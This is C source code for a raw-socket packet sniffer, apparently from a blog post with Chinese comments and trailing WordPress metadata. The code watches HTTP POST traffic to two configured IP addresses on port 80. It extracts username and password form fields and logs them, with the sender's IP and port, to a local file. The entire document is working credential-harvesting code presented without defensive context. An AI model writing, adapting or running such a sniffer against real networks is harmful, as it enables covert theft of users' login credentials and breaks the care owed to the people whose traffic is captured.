#include <stdio.h>
\n#include <stdlib.h>
\n#include <string.h>
\n#include <netinet\/in.h> \/\/ for sockaddr_in
\n#include <sys\/types.h> \/\/ for socket
\n#include <sys\/socket.h> \/\/ for socket
\n#include <arpa\/inet.h>
\n#include <netinet\/if_ether.h>
\n#include <pthread.h><\/p>\n
#define MAX_SIZE 65537
\n#define USERNAME_1 “uid”
\n#define USERNAME_2 “user”
\n#define PASSWORD “password”
\n#define IPADDRESS_1 “xxx.xxx.xxx.xxx”
\n#define IPADDRESS_2 “xxx.xxx.xxx.xxx”<\/p>\n
typedef struct DLC_Header
\n{
\n unsigned char DesMAC[6]; \/\/\u4ee5\u592a\u7f51\u76ee\u7684\u5730\u5740
\n unsigned char SrcMAC[6]; \/\/\u4ee5\u592a\u7f51\u6e90\u5730\u5740
\n unsigned short EtherType; \/\/\u5e27\u7c7b\u578b
\n} DLCHEADER;<\/p>\n
typedef struct ipheader
\n{
\n unsigned char ip_hl:4; \/*header length(\u62a5\u5934\u957f\u5ea6\uff09*\/
\n unsigned char ip_v:4; \/*version(\u7248\u672c)*\/
\n unsigned char ip_tos; \/*type os service\u670d\u52a1\u7c7b\u578b*\/
\n unsigned short int ip_len; \/*total length (\u603b\u957f\u5ea6)*\/
\n unsigned short int ip_id; \/*identification (\u6807\u8bc6\u7b26)*\/
\n unsigned short int ip_off; \/*fragment offset field(\u6bb5\u79fb\u4f4d\u57df)*\/
\n unsigned char ip_ttl; \/*time to live (\u751f\u5b58\u65f6\u95f4)*\/
\n unsigned char ip_p; \/*protocol(\u534f\u8bae)*\/
\n unsigned short int ip_sum; \/*checksum(\u6821\u9a8c\u548c)*\/
\n unsigned int ip_src; \/*source address(\u6e90\u5730\u5740)*\/
\n unsigned int ip_dst; \/*destination address(\u76ee\u7684\u5730\u5740)*\/
\n} IP; \/* total ip header length: 20 bytes (=160 bits) *\/<\/p>\n
typedef struct tcpheader
\n{
\n unsigned short int sport; \/*source port (\u6e90\u7aef\u53e3\u53f7)*\/
\n unsigned short int dport; \/*destination port(\u76ee\u7684\u7aef\u53e3\u53f7)*\/
\n unsigned int th_seq; \/*sequence number(\u5305\u7684\u5e8f\u5217\u53f7)*\/
\n unsigned int th_ack; \/*acknowledgement number(\u786e\u8ba4\u5e94\u7b54\u53f7)*\/
\n unsigned char th_x:4; \/*unused(\u672a\u4f7f\u7528)*\/
\n unsigned char th_off:4; \/*data offset(\u6570\u636e\u504f\u79fb\u91cf)*\/
\n unsigned char Flags; \/*\u6807\u5fd7\u5168*\/
\n unsigned short int th_win; \/*windows(\u7a97\u53e3)*\/
\n unsigned short int th_sum; \/*checksum(\u6821\u9a8c\u548c)*\/
\n unsigned short int th_urp; \/*urgent pointer(\u7d27\u6025\u6307\u9488)*\/
\n} TCP;<\/p>\n
FILE *file=NULL;<\/p>\n
int CreateSocket(int *soc)
\n{
\n if((*soc=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_IP)))<0)
\n return 0;<\/p>\n
return 1;
\n}<\/p>\n
void save(char *packet,char *user,char *pass)
\n{
\n IP *IPHeader=NULL;
\n TCP *TCPHeader=NULL;<\/p>\n
IPHeader=(IP *)(packet+sizeof(DLCHEADER));
\n TCPHeader=(TCP *)(packet+sizeof(DLCHEADER)+sizeof(IP));<\/p>\n
fseek(file,0,SEEK_END);
\n fprintf(file,”\u6765\u6e90IP:%s\\t\u6765\u6e90\u7aef\u53e3:%d\\tUSER:%s\\tPASS:%s\\n”,inet_ntoa(*(struct in_addr *)&IPHeader->ip_src),htons(TCPHeader->sport),\\
\n user,pass);
\n fflush(file);<\/p>\n
return;
\n}<\/p>\n
void *filter(char *packet,int RecvSize)
\n{
\n char *Data=NULL;
\n char *Puser=NULL,*Ppass=NULL;
\n char *PuserEnd=NULL,*PpassEnd=NULL;
\n char user[MAX_SIZE],pass[MAX_SIZE];
\n char *temp=Data;
\n int i,user_flag;<\/p>\n
if(RecvSize<=sizeof(DLCHEADER)+sizeof(IP)+sizeof(TCP)+5)
\n return NULL;
\n Data=packet+sizeof(DLCHEADER)+sizeof(IP)+sizeof(TCP);
\n memset(user,NULL,sizeof(user));
\n memset(pass,NULL,sizeof(pass));
\n if(strncmp(Data,”POST”,4))
\n {
\n \/\/\u6536\u5230\u7684\u4e0d\u662fPOST\u6570\u636e\u5305
\n return NULL;
\n }
\n for(i=0; i<strlen(Data)-1 && Data[i]!=NULL; i++)
\n if(Data[i]==’\\n’)
\n temp=Data+i;
\n Data=temp;<\/p>\n
user_flag=0;
\n if((Puser=strstr(Data,USERNAME_1))==NULL)
\n {
\n user_flag=1;
\n if((Puser=strstr(Data,USERNAME_2))==NULL)
\n return NULL;
\n }<\/p>\n
if(user_flag==0)
\n Puser+=strlen(USERNAME_1)+1;
\n else
\n Puser+=strlen(USERNAME_2)+1;<\/p>\n
if(!(Ppass=strstr(Puser,PASSWORD)))
\n {
\n \/\/POST\u6570\u636e\u5305\u4e2d\u65e0\u6307\u5b9a\u7684\u5b57\u6bb5
\n return NULL;
\n }<\/p>\n
Ppass+=strlen(PASSWORD)+1;
\n PuserEnd=strchr(Puser,’&’);
\n PpassEnd=strchr(Ppass,’&’);
\n if(PpassEnd==NULL) PpassEnd=strchr(Ppass,’\\0′);
\n if(!PuserEnd || !PpassEnd)
\n return NULL;<\/p>\n
memcpy(user,Puser,PuserEnd-Puser);
\n memcpy(pass,Ppass,PpassEnd-Ppass);
\n save(packet,user,pass);<\/p>\n
return NULL;
\n}<\/p>\n
int Sniffer(int *soc)
\n{
\n IP *IPHeader=NULL;
\n TCP *TCPHeader=NULL;
\n char *Data=NULL;
\n char recvBuff[MAX_SIZE];
\n int RecvSize;<\/p>\n
IPHeader=(IP *)(recvBuff+sizeof(DLCHEADER));
\n TCPHeader=(TCP *)(recvBuff+sizeof(DLCHEADER)+sizeof(IP));
\n Data=recvBuff+sizeof(DLCHEADER)+sizeof(IP)+sizeof(TCP);<\/p>\n
while(1)
\n {
\n memset(recvBuff,NULL,sizeof(recvBuff));
\n if((RecvSize=recvfrom(*soc,recvBuff,sizeof(recvBuff)-1,0,NULL,NULL))<1) continue;<\/p>\n
if((strcmp(inet_ntoa(*(struct in_addr *)&IPHeader->ip_dst),IPADDRESS_1)==0 || \\
\n strcmp(inet_ntoa(*(struct in_addr *)&IPHeader->ip_dst),IPADDRESS_2)==0) && htons(TCPHeader->dport)==80)
\n {
\n \/\/\u6570\u636e\u5305\u7684\u76ee\u6807\u5730\u5740\u662f\u672c\u673a
\n filter(recvBuff,RecvSize);
\n }
\n }<\/p>\n
return 1;
\n}<\/p>\n
int main(int argc,char *argv[])
\n{
\n int socket;<\/p>\n
if(!CreateSocket(&socket))
\n {
\n printf(“\u521b\u5efa\u5957\u63a5\u5b57\u5931\u8d25\u3002\\n”);
\n return -1;
\n }
\n if((file=fopen(“Data”,”rt+”))==NULL)
\n if((file=fopen(“Data”,”wt+”))==NULL)
\n {
\n printf(“\u521b\u5efa\u6587\u4ef6\u5931\u8d25\u3002\\n”);
\n return -1;
\n }
\n printf(“Start…\\n”);
\n Sniffer(&socket);<\/p>\n
return 0;
\n}<\/p>\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
\n\t#include <stdio.h>
\n#include <stdlib.h>
\n#include <string.h>
\n#include <netinet\/in.h> \/\/ for sockaddr_in
\n#include <sys\/types.h> \/\/ for sock…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[324],"tags":[],"class_list":["post-61","post","type-post","status-publish","format-standard","hentry"],"yoast_head":"\n